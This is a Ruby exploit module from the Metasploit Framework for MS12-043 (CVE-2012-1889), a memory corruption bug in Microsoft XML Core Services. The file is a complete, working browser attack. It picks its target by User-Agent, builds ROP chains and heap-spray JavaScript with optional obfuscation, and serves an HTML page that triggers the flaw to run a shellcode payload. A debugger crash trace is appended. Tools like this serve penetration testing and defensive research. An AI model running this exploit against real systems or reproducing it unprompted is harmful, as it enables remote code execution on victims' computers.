##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::RopDb
	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({
		:ua_name    => HttpClients::IE,
		:ua_minver  => "6.0",
		:ua_maxver  => "9.0",
		:javascript => true,
		:os_name    => OperatingSystems::WINDOWS,
		:classid    => "{f6D90f11-9c73-11d3-b32e-00C04f990bb4}",
		:method     => "definition",
		:rank       => GoodRanking
	})

	def initialize(info={})
		super(update_info(info,
			'Name'           => "MS12-043 Microsoft XML Core Services MSXML Uninitialized Memory Corruption",
			'Description'    => %q{
					This module exploits a memory corruption flaw in Microsoft XML Core Services
				when trying to access an uninitialized Node with the getDefinition API, which
				may corrupt memory allowing remote code execution.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'inking26', # Reliable exploitation
					'binjo', # Metasploit module
					'sinn3r',  # Metasploit module
					'juan vazquez' # Metasploit module
				],
			'References'     =>
				[
					[ 'CVE', '2012-1889' ],
					[ 'BID', '53934' ],
					[ 'OSVDB', '82873'],
					[ 'MSB', 'MS12-043'],
					[ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2719615' ],
					[ 'URL', 'http://www.zdnet.com/blog/security/state-sponsored-attackers-using-ie-zero-day-to-hijack-gmail-accounts/12462' ],
					[ 'URL', 'http://hi.baidu.com/inking26/blog/item/9c2ab11c4784e5aa86d6b6c1.html' ],
					[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/06/18/metasploit-exploits-critical-microsoft-vulnerabilities' ]
				],
			'Payload'        =>
				{
					'BadChars' => "\x00",
					'Space'    => 1024
				},
			'DefaultOptions'  =>
				{
					'ExitFunction'         => "process",
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# msxml3.dll 8.90.1101.0
					[ 'Automatic', {} ],
					[
						'IE 6 on Windows XP SP3',
						{
							'Offset' => '0x100',
							'Rop' => nil,
							'RandomHeap' => false
						}
					],
					[
						'IE 7 on Windows XP SP3 / Vista SP2',
						{
							'Offset' => '0x100',
							'Rop' => nil,
							'RandomHeap' => false
						}
					],
					[
						'IE 8 on Windows XP SP3',
						{
							'Rop' => :msvcrt,
							'RandomHeap' => false,
							'RopChainOffset' => '0x5f4',
							'Offset' => '0x0',
							'StackPivot' => 0x77c15ed5, # xchg eax, esp # ret # from msvcrt.dll
						}
					],
					[
						'IE 8 with Java 6 on Windows XP SP3',
						{
							'Rop' => :jre,
							'RandomHeap' => false,
							'RopChainOffset' => '0x5f4',
							'Offset' => '0x0',
							'StackPivot' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll
						}
					],
					[
						'IE 8 with Java 6 on Windows 7 SP1/Vista SP2',
						{
							'Rop' => :jre,
							'RandomHeap' => false,
							'RopChainOffset' => '0x5f4',
							'Offset' => '0x0',
							'StackPivot' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll
						}
					],
					[
						'IE 9 with Java 6 on Windows 7 SP1',
						{
							'Rop' => :jre,
							'RandomHeap' => true,
							'RopChainOffset' => 0x5FC,
							'Offset' => '0x0',
							'StackPivot' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll
						}
					]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Jun 12 2012",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
			], self.class)
	end

	def get_target(agent)
		#If the user is already specified by the user, we'll just use that
		return target if target.name != 'Automatic'

		if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
			return targets[1]  #IE 6 on Windows XP SP3
		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
			return targets[2]  #IE 7 on Windows XP SP3
		elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
			return targets[2]  #IE 7 on Windows Vista SP2
		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
			return targets[3]  #IE 8 on Windows XP SP3
		elsif agent =~ /NT 6\.[01]/ and agent =~ /MSIE 8/
			return targets[5]  #IE 8 on Windows 7 SP1/Vista SP2
		elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/
			return targets[6]  #IE 9 on Windows 7 SP1
		else
			return nil
		end
	end

	def ret(t)
		case t['Rop']
			when :msvcrt
				return [ 0x77c4ec01 ].pack("V") # RETN (ROP NOP) # msvcrt.dll
			when :jre
				return [ 0x7c347f98 ].pack("V") # RETN (ROP NOP) # msvcr71.dll
		end
	end

	def popret(t)
		case t['Rop']
			when :msvcrt
				return [ 0x77c4ec00 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcrt.dll
			when :jre
				return [ 0x7c376541 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcr71.dll
		end
	end

	def get_rop_chain(t)
		if t['RandomHeap']
			adjust = [ 0x0c0c0c0c ].pack("V") # heap isn't filled with pointers to 0x0c0c0c0c
			adjust << ret(t)
		else
			adjust = ret(t)
		end

		adjust << popret(t)
		adjust << [ t['StackPivot'] ].pack("V")
		adjust << ret(t) * 4 # first call to a "ret" because there is a good gadget in the stack :)

		# Both ROP chains generated by mona.py - See corelan.be
		case t['Rop']
			when :msvcrt
				print_status("Using msvcrt ROP")
				rop = generate_rop_payload('msvcrt','',{'target'=>'xp', 'pivot'=>adjust})

			else
				print_status("Using JRE ROP")
				rop = generate_rop_payload('java','',{'pivot'=>adjust})
		end

		return rop
	end

	def get_easy_spray(t, js_code, js_nops)

		spray = <<-JS
		var heap_obj = new heapLib.ie(0x20000);
		var code = unescape("#{js_code}");
		var nops = unescape("#{js_nops}");

		while (nops.length < 0x80000) nops += nops;

		var offset = nops.substring(0, #{t['Offset']});
		var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

		while (shellcode.length < 0x40000) shellcode += shellcode;
		var block = shellcode.substring(0, (0x80000-6)/2);


		heap_obj.gc();
		for (var z=1; z < 0x230; z++) {
			heap_obj.alloc(block);
		}

		JS

		return spray

	end


	def get_aligned_spray(t, js_rop, js_code, js_nops, js_90_nops)

		spray = <<-JS

		var heap_obj = new heapLib.ie(0x20000);
		var code = unescape("#{js_code}");
		var nops = unescape("#{js_nops}");
		var nops_90 = unescape("#{js_90_nops}");
		var rop_chain = unescape("#{js_rop}");

		while (nops.length < 0x80000) nops += nops;
		while (nops_90.length < 0x80000) nops_90 += nops_90;

		var offset = nops.substring(0, #{t['Offset']});
		var nops_padding = nops.substring(0, #{t['RopChainOffset']}-code.length-offset.length);
		var shellcode = offset + code + nops_padding + rop_chain + nops_90.substring(0, 0x800-code.length-nops_padding.length-rop_chain.length);


		while (shellcode.length < 0x40000) shellcode += shellcode;
		var block = shellcode.substring(0, (0x80000-6)/2);


		heap_obj.gc();
		for (var z=1; z < 0x230; z++) {
			heap_obj.alloc(block);
		}

		JS

		return spray

	end

	# Spray published by corelanc0d3r
	# Exploit writing tutorial part 11 : Heap Spraying Demystified
	# See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
	def get_random_spray(t, js_rop, js_code, js_90_nops)

		spray = <<-JS

		function randomblock(blocksize)
		{
			var theblock = "";
			for (var i = 0; i < blocksize; i++)
			{
				theblock += Math.floor(Math.random()*90)+10;
			}
			return theblock;
		}

		function tounescape(block)
		{
			var blocklen = block.length;
			var unescapestr = "";
			for (var i = 0; i < blocklen-1; i=i+4)
			{
				unescapestr += "%u" + block.substring(i,i+4);
			}
			return unescapestr;
		}

		var heap_obj = new heapLib.ie(0x10000);

		var rop = unescape("#{js_rop}");
		var code = unescape("#{js_code}");
		var nops_90 = unescape("#{js_90_nops}");

		while (nops_90.length < 0x80000) nops_90 += nops_90;

		var offset_length = #{t['RopChainOffset']};

		for (var i=0; i < 0x1000; i++) {
			var padding = unescape(tounescape(randomblock(0x1000)));
			while (padding.length < 0x1000) padding+= padding;
			var junk_offset = padding.substring(0, offset_length - code.length);
			var single_sprayblock = code + junk_offset + rop + nops_90.substring(0, 0x800 - code.length - junk_offset.length - rop.length);
			while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
			sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
			heap_obj.alloc(sprayblock);
		}

		JS

		return spray
	end

	def on_request_uri(cli, request)
		agent = request.headers['User-Agent']
		my_target = get_target(agent)

		# Avoid the attack if the victim doesn't have the same setup we're targeting
		if my_target.nil?
			print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")
			send_not_found(cli)
			return
		end

		p = payload.encoded
		js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
		js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
		js_90_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))


		if not my_target['Rop'].nil?
			js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch))
		end

		if my_target['RandomHeap']
			js = get_random_spray(my_target, js_rop, js_code, js_90_nops)
		elsif not my_target['Rop'].nil?
			js = get_aligned_spray(my_target, js_rop, js_code, js_nops, js_90_nops)
		else
			js = get_easy_spray(my_target, js_code, js_nops)
		end

		js = heaplib(js, {:noobfu => true})

		if datastore['OBFUSCATE']
			js = ::Rex::Exploitation::JSObfu.new(js)
			js.obfuscate
		end

		object_id = rand_text_alpha(4)

		html = <<-EOS
		<html>
		<head>
		<script>
		#{js}
		</script>
		</head>
		<body>
		<object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id="#{object_id}"></object>
		<script>
		var obj = document.getElementById('#{object_id}').object;
		var src = unescape("%u0c08%u0c0c");
		while (src.length < 0x1002) src += src;
		src = "\\\\\\\\xxx" + src;
		src = src.substr(0, 0x1000 - 10);
		var pic = document.createElement("img");
		pic.src = src;
		pic.nameProp;
		obj.definition(#{rand(999) + 1});
		</script>
		</body>
		</html>
		EOS

		html = html.gsub(/^\t\t/, '')

		print_status("#{cli.peerhost}:#{cli.peerport} - Sending html")
		send_response(cli, html, {'Content-Type'=>'text/html'})

	end

end

=begin
(e34.358): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=7498670c ebx=00000000 ecx=5f5ec68b edx=00000001 esi=7498670c edi=0013e350
eip=749bd772 esp=0013e010 ebp=0013e14c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
msxml3!_dispatchImpl::InvokeHelper+0xb4:
749bd772 ff5118          call    dword ptr [ecx+18h]  ds:0023:5f5ec6a3=????????


0:008> r
eax=020bf2f0 ebx=00000000 ecx=00000000 edx=00000001 esi=020bf2f0 edi=020bf528
eip=749bd772 esp=020bf1a8 ebp=020bf2e4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
msxml3!_dispatchImpl::InvokeHelper+0xb4:
749bd772 ff5118          call    dword ptr [ecx+18h]  ds:0023:00000018=????????
0:008> k
ChildEBP RetAddr  
020bf2e4 749bdb13 msxml3!_dispatchImpl::InvokeHelper+0xb4
020bf320 749d4d84 msxml3!_dispatchImpl::Invoke+0x5e
020bf360 749dcae4 msxml3!DOMNode::Invoke+0xaa
020bf394 749bd5aa msxml3!DOMDocumentWrapper::Invoke+0x50
020bf3f0 749d6e6c msxml3!_dispatchImpl::InvokeEx+0xfa
020bf420 633a6d37 msxml3!_dispatchEx<IXMLDOMNode,&LIBID_MSXML2,&IID_IXMLDOMNode,0>::InvokeEx+0x2d
020bf460 633a6c75 jscript!IDispatchExInvokeEx2+0xf8
020bf49c 633a9cfe jscript!IDispatchExInvokeEx+0x6a
020bf55c 633a9f3c jscript!InvokeDispatchEx+0x98
020bf590 633a77ff jscript!VAR::InvokeByName+0x135
020bf5dc 633a85c7 jscript!VAR::InvokeDispName+0x7a
020bf60c 633a9c0b jscript!VAR::InvokeByDispID+0xce
020bf7a8 633a5ab0 jscript!CScriptRuntime::Run+0x2989
020bf890 633a59f7 jscript!ScrFncObj::CallWithFrameOnStack+0xff
020bf8dc 633a5743 jscript!ScrFncObj::Call+0x8f
020bf958 633891f1 jscript!CSession::Execute+0x175
020bf9a4 63388f65 jscript!COleScript::ExecutePendingScripts+0x1c0
020bfa08 63388d7f jscript!COleScript::ParseScriptTextCore+0x29a
020bfa30 635bf025 jscript!COleScript::ParseScriptText+0x30
020bfa88 635be7ca mshtml!CScriptCollection::ParseScriptText+0x219

=end
